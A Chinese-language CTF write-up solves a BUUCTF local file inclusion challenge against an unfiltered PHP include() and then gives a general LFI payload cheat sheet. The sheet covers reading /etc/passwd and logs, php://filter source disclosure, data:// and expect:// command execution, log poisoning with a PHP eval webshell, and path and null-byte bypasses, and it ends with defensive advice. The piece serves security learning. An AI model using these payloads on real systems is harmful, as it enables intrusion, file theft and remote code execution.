BUUCTF——Basic——BUU LFI COURSE 11

这是一道 ** 本地文件包含(LFI)** 的入门题,核心思路是利用 PHP 的文件包含漏洞读取服务器上的flag文件。


1. 访问靶机并分析代码

打开题目给出的链接:http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81

页面会显示一段 PHP 代码,大致逻辑是:

php

运行

复制代码
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
}
  • 代码接收GET参数file,并直接用include()函数包含该文件
  • 无任何过滤,存在典型的 LFI 漏洞

2. 构造 Payload 读取 flag

在 CTF 中,flag通常存放在服务器根目录/flag,我们直接构造 URL:

plaintext

复制代码
http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81/?file=/flag

访问后页面会直接显示flag内容,复制提交即可。

如果/flag路径不生效,也可以尝试路径穿越:

plaintext

复制代码
?file=../../../../flag

../向上跳转目录,最终定位到根目录的flag文件。


3. 提交 Flag

将页面显示的flag(格式通常为flag{...})复制到题目下方的输入框,点击提交即可完成解题。✅


💡 原理总结

这道题的核心是无过滤的文件包含

  • 攻击者可控file参数,直接指定服务器上的任意文件路径
  • PHP 的include()会读取并执行(如果是 PHP)或展示(如果是文本)目标文件内容
  • 本题只需读取文本形式的flag,无需代码执行

📝 LFI 漏洞常见 Payload 清单

一、基础文件读取(无过滤场景)

1. 直接读取绝对路径

plaintext

复制代码
?file=/etc/passwd          # Linux 系统用户信息
?file=/flag                # CTF 常见 flag 位置
?file=/var/log/apache2/access.log  # Apache 访问日志
?file=C:\Windows\System32\drivers\etc\hosts  # Windows hosts 文件

2. 相对路径穿越(绕过简单过滤)

plaintext

复制代码
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd  # 绕过 ../ 过滤
?file=..././..././etc/passwd        # 绕过 ../ 过滤

二、PHP 协议利用(进阶利用)

1. php://filter 读取源码(关键!)

用于读取 PHP 等脚本文件的源码,避免被直接执行:

plaintext

复制代码
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php

得到 Base64 后解码即可看到源码。

2. data:// 执行代码(需要 allow_url_include=On

plaintext

复制代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pg==

3. expect:// 执行系统命令(需要安装 expect 扩展)

plaintext

复制代码
?file=expect://id
?file=expect://ls /

4. phar:// 反序列化利用(配合反序列化漏洞)

plaintext

复制代码
?file=phar://shell.phar/shell.txt

三、日志包含 Getshell(经典 getshell 方式)

1. Apache 日志包含

  1. 先在 User-Agent 中写入一句话木马: plaintext

    复制代码
    <?php eval($_GET['cmd']);?>
  2. 访问日志文件: plaintext

    复制代码
    ?file=/var/log/apache2/access.log
    ?file=/var/log/httpd/access.log
  3. 访问 ?cmd=id 执行命令。

2. Nginx 日志包含

plaintext

复制代码
?file=/var/log/nginx/access.log
?file=/var/log/nginx/error.log

3. SSH 日志包含

plaintext

复制代码
?file=/var/log/auth.log
?file=/var/log/secure

先通过 SSH 连接时写入恶意代码到日志,再包含执行。


四、绕过技巧

1. 绕过路径限制

  • 双写绕过:....// → 解析为 ../
  • 编码绕过:%2e%2e%2f../
  • 空字节截断(PHP < 5.3.4):?file=/flag%00

2. 绕过后缀限制

  • 点号截断:?file=/flag............
  • 路径长度截断:?file=/../../../../../../../../../../../../flag
  • 协议绕过:用 php://filter 等协议直接读取。

五、CTF 场景高频 Payload

表格

场景 Payload
读 flag ?file=/flag
读源码 ?file=php://filter/convert.base64-encode/resource=index.php
日志 getshell ?file=/var/log/apache2/access.log
Windows 读 hosts ?file=C:\Windows\System32\drivers\etc\hosts

六、防御建议

  • 固定文件路径白名单,不允许用户直接控制文件路径
  • 过滤 ../php:// 等危险字符
  • 关闭 allow_url_include 和不必要的 PHP 协议
  • 使用 open_basedir 限制 PHP 可访问的目录
相关推荐
华奥系科技2 小时前
智慧经济新格局:解码社区、园区与城市一体化建设逻辑
大数据·人工智能·科技·物联网·安全
旺仔.2914 小时前
线程安全 详解
linux·计算机网络·安全
cuguanren4 小时前
MuleRun vs OpenClaw vs 网页服务:云端安全与本地自由的取舍之道
安全·大模型·llm·agent·智能体·openclaw·mulerun
cramer_50h4 小时前
我的 网络安全资产暴露/攻击面管理系统
安全·web安全
Chengbei115 小时前
Chrome浏览器渗透利器支持原生扫描!JS 端点 + 敏感目录 + 原型污染自动化检测|VulnRadar
javascript·chrome·安全·web安全·网络安全·自动化·系统安全
hzhsec5 小时前
AI Security Agent:用自然语言做安全巡检,AI 自己跑命令
人工智能·安全·运维开发·ai编程
木禾ali0th6 小时前
告别大模型“裸奔”:开源项目 ClawVault 架构与核心能力解析
算法·安全
许国栋_7 小时前
B2B企业如何建设价值管理办公室(VMO)?实践与落地解析
人工智能·安全·云计算·产品经理
九硕智慧建筑一体化厂家7 小时前
探索车库安全密码:一氧化碳浓度监控与风机联动监测工作过程
安全